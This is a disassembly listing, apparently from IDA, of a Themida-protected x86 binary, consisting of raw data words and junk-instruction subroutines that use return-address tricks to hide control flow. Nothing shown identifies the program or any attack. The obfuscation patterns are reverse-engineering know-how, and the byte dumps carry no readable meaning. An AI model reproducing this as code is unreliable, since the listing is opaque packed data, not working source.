1699AB9Fh, 0FC15FB9h db 8Fh dword_5B8EA1 dd 6 ; Themida_:005D3141r ... ; --------------------------------------------------------------------------- mov edi, [ebp+6150CFDh] pop edi mul dx mov [ebp+615262Dh], edx sub ebx, eax xor edi, [ebp+6150591h] push eax pusha pusha jmp loc_5B8ED1 ; --------------------------------------------------------------------------- db 0B7h, 1Dh, 0AAh dd 0B24AC47Ch, 63C294CFh ; --------------------------------------------------------------------------- xchg eax, esi loc_5B8ED1: ; CODE XREF: Themida_:005B8EC0j mov ebx, 49013E9Ah popa pusha mov cx, ax mov dh, 0D7h popa popa mov [esp], ebx push 0 push edi call sub_5B8EED and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8EED proc near ; CODE XREF: Themida_:005B8EE5p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B8EED endp ; --------------------------------------------------------------------------- db 4Bh, 19h, 84h dd 42C434FEh, 0A9DF8166h, 0F38B66E1h, 8ADB5FFh, 840F0615h dd 6, 1719589h, 7E90615h, 50000000h, 7FC1C585h, 95FF7B4Ah dd 6152E21h, 1A458509h, 0B58B0615h, 6151A21h, 6A00B0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 6C7037C3h, 0CBDAC72Dh, 6DB50306h, 52061529h, 55D78166h dd 70E65E08h, 3425BD8Bh, 71E40615h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 91C35242h, 1E59AA28h, 0DE90B9Eh dd 0B0000000h, 86F9A44Eh, 399396F5h, 9065B101h, 830F613Ch dd 215h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0FBC35141h, 0E1BDC699h, 0FD8B60Fh, 1381h, 0EE900h dd 154A0000h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch, 0BAF18B66h dd 6, 421B58Bh, 0C38B0615h, 19E9BD8Bh, 0E8C10615h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0A6CA7A51h, 0F106D5Ch, 0FE2F766h, 585h, 0E7CABE00h dd 0D82B3276h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0BDC35545h, 597F66A4h, 0EC11C499h, 6820FAEh, 8B000000h dd 15179DBDh, 0D82B5806h, 153880Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DF81F4C3h dd 1FF9BEE6h, 7B9h, 0DE800h, 0B22B0000h, 0CF4993E6h, 818377A5h dd 0E9A451E5h, 0Ch, 0B62DB54Fh, 0F0232BF7h, 2AAC7E0Ah dd 0C1835Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 85C35040h, 12E9h, 7180FC00h, 0C69C38CDh, 0C61BBE1Ah dd 62EE745Fh, 3B6722EAh, 0CA860FD9h, 0F000000h, 8501F2B7h dd 615077Dh, 0F6D98C66h, 840F04C1h, 0A9h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 82C35646h, 2AB6D626h dd 0DE9A9108h, 18A195FFh, 0BD890615h, 615177Dh, 7E85Bh dd 0AA8C0000h, 0FD2CC835h, 0CE9F8h, 0E9DE0000h, 49300B62h dd 0FB2F517Eh, 2B5F0B88h, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 3D9344D5h dd 834h, 2F860Fh, 7E90000h, 0FB000000h, 290C794Dh, 2AE9240Eh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 544EC356h, 0FC08B98h, 48Ch, 50BF6600h db 34h ; --------------------------------------------------------------------------- loc_5B91C9: ; CODE XREF: Themida_:005B8D89j mov eax, ebx mov ebx, eax push 0 push ebp call sub_5B91D8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B91D8 proc near ; CODE XREF: Themida_:005B91D0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5B91D8 endp ; --------------------------------------------------------------------------- dd 2635F074h, 10E87607h, 0C0000000h, 422A5011h, 1EF7535Bh dd 0C4B9ADECh, 53166131h, 585BD89h, 5E5E0615h, 4E185C7h dd 0D75D0615h, 14E91AA7h, 12000000h, 89A6B170h, 0C99A5ABDh dd 889D72D1h, 870515EDh, 8BB1535Dh, 56006AC0h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 86B28B85h dd 0D953138h, 6606152Fh, 819BA2BEh, 1508ADBDh, 7D006h dd 32850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 4AB4C356h, 8AD85FFh dd 9E80615h, 0A7000000h, 0C9B3656h, 0EE39D653h, 0ADB5FF5Fh dd 6A061508h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0A750C355h, 8207B2F2h, 238745BDh dd 151089B5h, 2195FF06h, 6006152Eh, 2ED9589h, 0BD8B0615h dd 6151109h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0DF596DC3h, 0FFCD87Fh, 684h, 1DB58B00h dd 8B061507h, 151841BDh, 0F6BF0F06h, 6AFB8B66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0BAFAC357h, 54F06D3Ch, 0F56D56Ah, 0C87h, 0F5BD8B00h dd 0F061500h, 81h, 49958900h, 89061511h, 1515F9BDh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 5A55F176h, 418D0942h, 6A061521h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4CDFC357h dd 0E9B87E7Eh, 6A760074h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 2B5EC355h, 1AE22958h dd 0FFABF0Fh, 2086h, 6E800h, 48CD0000h, 8E6B8D85h, 10898589h dd 0E95F0615h, 9, 68151E3Eh, 0D29C04E9h, 0F77EE955h, 1CE9FFFFh dd 44000000h, 462429h, 5 dup(0) dd 0E9000000h, 4F2h, 0B045B511h, 0E78EFE83h, 0A84DBD38h dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh dd 65C65D38h, 0A7B720F5h, 9E0BF51Ch, 45F77816h, 96E7864Fh dd 9D3204C6h, 4FBF3CEDh, 0E5446D6Fh, 0D94C4175h, 10860DB0h dd 96806A3Bh, 0C8AD1D9Dh, 2E68D85Bh, 5046B635h, 286EDE63h dd 497E31B8h, 7A647AEAh, 0D94CBC39h, 10860DB0h, 0F5806A3Bh dd 0A74EBE3Eh, 1570FC78h, 0B39C71A5h, 99096E83h, 0C0EF969Dh dd 8144A507h, 10860D58h, 0D9A350BAh, 52CECFD7h, 98876E41h dd 86BAB1Bh, 10863CC4h, 29208F26h, 97A8E7C4h, 704Ch, 0C7246000h dd 0BFE45F57h, 0BB1086F2h, 346FDDFh, 0EA1086F2h, 0E858DAD9h dd 21289702h, 97A81A9Ch, 0D24h, 9B191A00h, 3D1C0C2Bh, 6CF2C9B1h dd 0C524967Eh, 0EC57B839h, 1086F2A5h, 5E587748h, 3E78E845h dd 55416E41h, 296DDD5Ch, 8EEF4E63h, 86F292B7h, 67485910h dd 0B2228683h, 5A85EC84h, 0A7179B98h, 73E346C3h, 0A22E8DA2h dd 0F89DB222h, 0E3624F34h, 0A04A4373h, 979F0F73h, 70FC7CB5h dd 0DE8CA313h, 5A5CCC2Dh, 0C7F69Fh, 0D7831282h, 749C35FEh dd 0CB93193Ah, 86D4D1F8h, 0DF8B9C10h, 0D570D132h, 1086D48Ch dd 4DF363E2h, 7963537Ch, 0A924045Ch, 7416EA8Fh, 47AA36B7h dd 3CBEF8D7h, 0B8E1647Ah, 0B61086E0h, 555EC232h, 78DF793Ch dd 9A705F54h, 4499B01Fh, 0AC97A87Dh, 5Fh, 3AC62480h, 724B4BBBh dd 0E85B815Dh, 1086F2A1h, 0A58F7B4Ch, 0D5C1318Ch, 0DCEBD259h dd 1807EE5Eh, 22EC2A9Ah, 6EBCCF35h, 0A8421E7Bh, 659D056Bh dd 1787E489h, 0E06F4540h, 0C671C7CFh, 56D6DB17h, 2BDFB0E6h dd 0A8762D80h, 3B9397h, 24A70000h, 536056C6h, 309581F1h dd 11715689h, 2468D4A1h, 7B6155C5h, 0E3A5CA5Ah, 8A602241h dd 865DF31Bh, 312BEF10h, 865D4F92h, 6D1D2E10h, 4BAE9B42h dd 0D197A8C9h, 1, 59C924E5h, 7FE7445Dh, 0CD2C9051h, 11F7A5Dh dd 0F362B186h, 477ABCC9h, 0DB5D5668h, 61522B6Bh, 494670E0h dd 299073A1h, 74F73CB6h, 48A56604h, 0C96D3DD8h, 8B8BFB7Dh dd 7A00A5B2h, 0FB0564A3h, 4AA90AD4h, 972E30DAh, 169B768Fh dd 6879BD8Eh, 25FA9B0Bh, 568856C6h, 9366AAEFh, 0AA405116h dd 66C2096Ch, 9B01693h, 2292F1D6h, 0EF5FDC53h, 0D839BAA7h dd 9366246Dh, 0D9F6C716h, 4C731ADDh, 0ED88F87Bh, 0BDAE35B8h dd 109BB9Dh, 0ABCF0000h, 0D903DB0Bh, 0A6ED5DD8h, 0EDE2D444h dd 0F6529EFDh, 0DAEB169Bh, 40C1F2DCh, 7AF93AD0h, 37B46B0Ah dd 0A40DCFC7h, 0CB3BB945h, 2DDDF2CBh, 70F7FFCh, 0EE28981Ah dd 0E0878F5h, 0FE229215h, 0CEBB2897h, 6CCFF8E7h, 218C19FCh dd 0A79DBD1Eh, 4Ch, 0C0308CA5h, 0EABF22Ah, 3C4500DEh, 0BF9086F2h dd 0A81409F6h, 456A03DBh, 0CEAFF251h, 0CCE9086h, 0E0D646A7h dd 0B9FD6DD3h, 98FFEBC4h, 28582925h, 1D164816h, 577A2B9Bh dd 169086CEh, 33366505h, 0BA1086CEh, 6CA80CE9h, 84000000h dd 3DB0BABh, 9C067040h, 0FA3C0D16h, 7B1A8AE9h, 0DFD747A4h dd 93E73A64h, 6857C216h, 59C9298Ah, 930380B1h, 0D404B402h dd 0FEDE3B0Ah, 8C9D108Ah, 0AA1A998Ah, 97C5896Ch, 0A8FCE52Ch dd 189B881Ch, 0ACE387A8h, 5DA94D01h, 84F451DDh, 0A192BD92h dd 9768AE1Eh, 2C8DA6B8h, 0E5857ABCh, 0E565F44Fh, 7DB61AB1h dd 0BCDC8EFEh, 0AB1E0AEBh, 0CE3EBF0Bh, 1FE0F7C8h, 0B2E79ED0h dd 0B68D517Eh, 169FE05Bh, 0C251122h, 0C9563FAFh, 39BCFA6Ah dd 56DACD68h, 76517CE3h, 43F085F5h, 4D6650C0h, 68D85FEBh dd 607E512Eh, 2982C77Eh, 586956D3h, 0E6F84B2h, 26AF989Eh dd 0ADA68501h, 0C535B6FDh, 0EF5FE0D1h, 43EAD6A7h, 0B75E479Ch dd 0D43CBF08h, 0D28B906Ah, 0B75E7161h, 9B9B0B68h, 317h dd 4B2FF300h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh dd 4EC8178h, 89000000h, 0E2892414h, 4C281h, 0EA830000h dd 24148704h, 0E289525Ch, 4C281h, 0EA830000h, 24148704h dd 2404895Ch, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0B8243489h dd 13B72FB3h, 0E0C1D8F7h, 53BE5606h, 290C1B19h, 53685EF0h dd 89000042h, 4832424h, 505E0424h, 72243481h, 8F70713Eh dd 0B9510846h, 8, 3181F101h, 70713E72h, 24348B59h, 81E78957h dd 4C7h, 4C78100h, 87000000h, 8B5C243Ch, 89532404h, 4C381E3h dd 83000000h, 1C8704C3h, 7BE95C24h, 0CFFFC7Fh, 1D4B467Ch dd 32B84C56h, 30618FEh, 45E0FFC5h, 0E74D6AF5h, 363F760Fh dd 0FA772AB8h, 584969E1h, 0BE6828BFh, 49081EFFh, 4C20DCFAh dd 80272D38h, 21446C1Dh, 0EE37CC98h, 4574FF12h, 4A087D06h dd 0A93EA0A2h, 3D78CD7Eh, 0E833C5A9h, 10212F38h, 702409E1h dd 0AF14C519h, 91329926h, 0D7155D77h, 0A808B99Bh, 0F20C8CF6h dd 7D3B9AC3h, 0DC33B9B2h, 0BC5EE04Ch, 1E5650F1h, 8B3E5CF3h dd 8B173958h, 3860FC1h, 0F000000h, 4EBF8BFh, 1, 0E8F2BF0Fh dd 7, 7B2C1EB7h, 66F8D721h, 5FAEEBBEh, 279D858Dh, 90F80615h dd 4850F50h, 51000000h, 905E6160h, 6AF88Bh, 6AFE8Bh, 8F9BD8Bh dd 858D0615h, 619008Fh, 0C033DCBEh, 5C08320h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0B6C35040h, 1508EBFh dd 0D781666Ah, 66508A49h, 489F98Bh, 6A006A24h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 7CAC356h, 0F9EDBF66h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 2B530FC3h, 0FFC145FFh dd 8B79111Bh, 6830FF2h, 8B000000h, 150D69BDh, 7995FF06h dd 66061526h, 8D87DBBFh, 189C159Dh, 0ADB58906h, 0FF061518h dd 55006AD3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0EFE27CC8h, 10E9h, 6937DA00h, 5B6489EFh dd 3EB516EDh, 0D68D7E4Dh, 959589C3h, 0FF061530h, 15153585h dd 0E6816606h, 71E92AD0h, 0E8000009h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6190099h push 0 push edx call sub_5B9ADA and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9ADA proc near ; CODE XREF: Themida_:005B9AD2p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B9ADA endp ; --------------------------------------------------------------------------- dw 0A5FBh dd 0F129392Bh, 0FFE781E6h, 8133FD99h, 1508ADBDh, 7D006h dd 88860F00h, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 1F22C350h, 0F98B6658h dd 27159D8Bh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 0F85F9AC3h, 189D8589h, 0E3810615h dd 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 43C35646h, 55C17B0Ch, 860F152Ah, 6, 2D458531h dd 8B660615h, 0FDB0BF1h, 9D85h, 0DF816600h, 12E9FB97h dd 70000000h, 7DC65942h, 4BACD548h, 0F9D61373h, 0F6C979B0h dd 65BD8312h, 618FFh, 11840Fh, 0B70F0000h, 8BE9FCF6h, 52000000h dd 226D9529h, 0C75F0615h, 18FF6585h, 106h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B3C6B7EAh, 8FBE2B15h, 6617EBDEh, 0E962E7BEh, 4Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 33C35646h, 0AAE2990Fh dd 0A9FAE14Bh, 17E9BD33h, 85C70615h, 618FF65h, 0 ; --------------------------------------------------------------------------- jmp loc_5B9C4E ; --------------------------------------------------------------------------- db 0D4h, 50h, 97h dd 0F0EB4178h, 4C36522h, 0A6C17A5Eh db 59h, 62h ; --------------------------------------------------------------------------- loc_5B9C4E: ; CODE XREF: Themida_:005B9C38j lea ebx, [ebp+6152715h] movzx edi, cx and dword ptr [ebx], 0FFFFFEFFh push 0 push ecx call sub_5B9C68 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9C68 proc near ; CODE XREF: Themida_:005B9C60p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5B9C68 endp ; --------------------------------------------------------------------------- dd 0F2945D7h, 68Eh, 6DBD8900h, 8B061526h, 158D89FEh, 66061522h dd 6ADB8Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0A572C9C3h, 0E83AC63Ch, 6, 1DDA2920h, 0BD8B7DEFh dd 6151809h, 0C781665Fh, 0C3F6DDA4h, 75840F04h, 0FF000000h dd 1518A195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 7AE3388Ah, 1BD68166h, 0FE8B667Dh dd 0E9BF6690h, 12E950D9h, 58000000h, 1238B3FBh, 5B603283h dd 1E30AAB9h, 3C270157h, 6A90C8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 3A6F5BC3h, 840EC961h dd 8D89BCF5h, 6150BB9h, 44FE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 4CE3CA79h dd 0AE8h, 108E7F00h, 0D3797AA6h, 0F4F3622h, 83h, 0B05F00h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 1DC35646h dd 6840Fh, 0BD8B0000h, 61517DDh, 0B58B70E6h, 6150379h dd 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 605E09C3h, 5E9h, 0ABB1AF00h, 0BD8B3D1Bh dd 6150C41h, 0D8B60F61h, 5CE68166h, 6BA20h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 3EA10EC3h, 0A8EE9A81h, 0B58B37B3h, 6150801h, 6AC38Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0BF0FC3C3h, 7E8F9h, 8C690000h, 539C934Bh, 0FA8B5E26h dd 6604E8C1h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 375C30C3h, 0B589EDCBh, 6150119h dd 6AD82Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 93F9FDC3h, 8B665250h, 5A310FF7h, 0EE85058h dd 27000000h, 7F4F41F4h, 0DD9A16C8h, 5E332F59h, 5E8EFh dd 51CD0000h, 530C065Ch, 935F5E5Eh, 0BE8h, 8E91400h, 512E1B66h dd 3935253Fh, 0FF5EFA8Bh, 1508ADB5h, 2195FF06h, 8906152Eh dd 150A759Dh, 0E600B006h, 52006A70h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7638872Ah dd 0ED5926Dh, 26958509h, 71E40615h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 6DC35747h, 0C43E1A46h, 0E6EA6BCh dd 27B99D89h, 613C0615h, 252830Fh, 9E90000h, 92000000h dd 5096A0C6h, 0D1AA9039h, 6AD8B60Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9F9EC355h dd 60E61475h, 2B458D89h, 0D98B0615h, 6BA61h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0C4C1A8C3h, 8DE53579h, 8B6023CBh, 1522599Dh, 0C38B6106h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C7C35646h dd 0ECEACC61h, 0BC012AD9h, 4E8C1FCh, 1E919529h, 0B58B0615h dd 61523DDh, 6AE2F766h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 233FC350h, 0B9E30D24h dd 0EA078AE2h, 800FD82Bh, 6, 0A09B523h, 6A580615h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0EC56C352h, 0EBA836A5h, 2D9B58Bh, 5E90615h, 54000000h dd 631970CAh, 880FD82Bh, 140h, 0F52F28Bh, 28Ah, 5E616000h dd 7B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 80BED1DDh, 0FD8509A3h, 83061523h dd 0D93B00C1h, 0FE860Fh, 0D7810000h, 2258C274h, 8BD98C66h dd 152D99BDh, 4C1F606h, 0C0840Fh, 0D6810000h, 362B1616h dd 0A195FFF9h, 6A061518h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 4E79C352h, 291609D3h dd 0B58B8120h, 61510F5h, 6810F5Bh, 8B000000h, 15154DB5h dd 8D850106h, 2B06150Ah, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0CF4B4863h, 87D89017h dd 487ABFF6h, 0FE8B58FBh, 8343Dh, 3F860F00h, 0F000000h dd 888h, 860F5600h, 0 ; --------------------------------------------------------------------------- pop edi mov edi, edx jmp loc_5BA19C ; --------------------------------------------------------------------------- push 0 push edi call sub_5BA157 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA157 proc near ; CODE XREF: Themida_:005BA14Fp arg_4 = dword ptr 8 pop edi loc_5BA158: ; CODE XREF: Themida_:005BA16Aj mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5BA157 endp ; --------------------------------------------------------------------------- dec eax mov ah, 0C9h jnp short loc_5BA158 pop eax xor [edi+esi-75h], bl mov ch, 5 xor al, 15h push es mov eax, eax push 0 push ecx call sub_5BA183 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA183 proc near ; CODE XREF: Themida_:005BA17Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5BA183 endp ; --------------------------------------------------------------------------- db 0DEh dd 8847C9B8h, 0F38B7B57h ; --------------------------------------------------------------------------- loc_5BA19C: ; CODE XREF: Themida_:005BA147j mov eax, ebx mov ebx, eax push 0 push ebx call sub_5BA1AB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA1AB proc near ; CODE XREF: Themida_:005BA1A3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5BA1AB endp ; --------------------------------------------------------------------------- stosb add dh, [ebx-60h] dec ebp inc eax jno short near ptr dword_5BA224 mov eax, [ebp+6150C75h] sbb dl, 46h popa mov dword ptr [ebp+615108Dh], 5B266D5Dh push 0 push eax call sub_5BA1E3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA1E3 proc near ; CODE XREF: Themida_:005BA1DBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5BA1E3 endp ; --------------------------------------------------------------------------- db 1 dd 8E8023Ch, 0DF000000h, 0E91F3959h, 60668991h, 0FE9h dd 4208600h, 8D1E66E5h, 0CC306876h, 7FEE3B8Bh, 5F615E50h dd 6AC08Bh, 3E857h dword_5BA224 dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h ; CODE XREF: Themida_:005BA1C2j dd 2D9EE8C3h, 66331B11h, 0BD81FA8Bh, 61508ADh, 7D0h, 51850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0ED7CC9C3h, 8BEF44E1h, 150561BDh, 0AD85FF06h dd 6A061508h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 1A30C353h, 7E29DCF8h, 0FF131B31h dd 1508ADB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0C64F92CFh, 945D4E1Bh, 0F9BF0F98h dd 2E2195FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 9874AC3h, 15254DBDh, 66529006h dd 6A5FF78Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 2A41C351h, 0BE8h, 9A109200h, 514C297h dd 2B7CDFA0h, 9E8h, 999F5200h, 5EC1C252h, 5EF803ADh, 1555B50Bh dd 8B5F0615h, 56006AF8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0BF8B30FDh, 0BF0BF54Dh, 5B2C7BD7h dd 27198D89h, 8D890615h, 6150DD5h, 491B58Bh, 0BD8B0615h dd 6150C4Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 1BC35545h, 3AD1C1DFh, 0FFBEF973h, 0E97D2196h, 0Ah dd 0F129392Bh, 1458D0E6h, 8166E2DBh, 89BF92C7h, 1528CD85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 47BE502Ch, 5F229D02h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 56C35343h, 55BD8B6Ch, 0E9061534h dd 0FFFFF6B3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0F9C35141h, 0BD03A3F4h ; --------------------------------------------------------------------------- loc_5BA430: ; DATA XREF: Themida_:0057C51Co sbb eax, 8B06152Eh shr dword ptr [edx+0], 50h call sub_5BA441 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA441 proc near ; CODE XREF: Themida_:005BA439p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5BA441 endp ; --------------------------------------------------------------------------- align 2 clc jmp short loc_5BA459 ; --------------------------------------------------------------------------- db 1, 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5BA459: ; CODE XREF: Themida_:005BA453j push 0 push ebx call sub_5BA464 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA464 proc near ; CODE XREF: Themida_:005BA45Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5BA464 endp ; --------------------------------------------------------------------------- dd 0ECBD939Ah, 0A58D295Ah, 66061509h, 8D39F1BFh, 15279D85h dd 0ADB53106h, 5006151Dh, 2E60CABFh, 24048947h, 1889B589h dd 0B58B0615h, 61510FDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 8B97BBC3h, 15243DB5h dd 89006A06h, 1508B98Dh, 0C7858D06h, 6A06190Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 7242C350h, 0A99ABA10h, 0CB986CEDh, 226DBD8Bh, 0C0830615h dd 52509005h, 310FFA8Bh, 0C8F0Fh, 6E80000h, 26000000h dd 0FEB16ABh, 585A5EE1h, 79A0BE50h, 299042CAh, 150401BDh dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 4880C351h, 7DBD8B53h, 5E06151Eh dd 0CA0FBE66h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 2C067CC3h, 91817703h, 6056B851h dd 19A1BD2Bh, 0B50B0615h, 61508F9h, 95895E61h, 615107Dh dd 267995FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0C846BBC3h, 9C159D8Dh, 0F78B0618h dd 2789BD29h, 0D3FF0615h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0A8C35141h, 2E59BD8Bh, 85FF0615h, 6151535h dd 161D8D89h, 9DE90615h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5BA5FB: ; DATA XREF: Themida_:0057AE7Co call $+5 pop ebp sub ebp, 6190BD1h push 0 push ecx call sub_5BA612 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA612 proc near ; CODE XREF: Themida_:005BA60Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5BA612 endp ; --------------------------------------------------------------------------- dw 0F276h ; --------------------------------------------------------------------------- add [ebp+615144Dh], ebx mov edi, 478C832Bh cmp dword ptr [ebp+61508ADh], 7D0h jbe loc_5BA815 mov [ebp+6151DFDh], esi mov ebx, [ebp+6151079h] push 0 push ebp call sub_5BA656 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA656 proc near ; CODE XREF: Themida_:005BA64Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5BA656 endp ; --------------------------------------------------------------------------- dw 0A514h dd 82102AAEh, 2B3672A0h, 152DA9BDh, 0E38106h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 487CC351h, 0E871C75Ah, 11h, 8DD14A5Dh, 14DD77FFh dd 6A40004Eh, 3BE73049h, 0F195894Ah, 5F061514h, 12E9h dd 0AED9F800h, 0BD9F56h, 0F8C2D319h, 136C6E34h, 0BE72E99h dd 0D6850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0F49FC356h, 14DBB6F9h dd 3EA10E7Ch, 0A26BD83h, 0F000619h, 2E84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 291502E5h, 152ED595h, 0ABE906h, 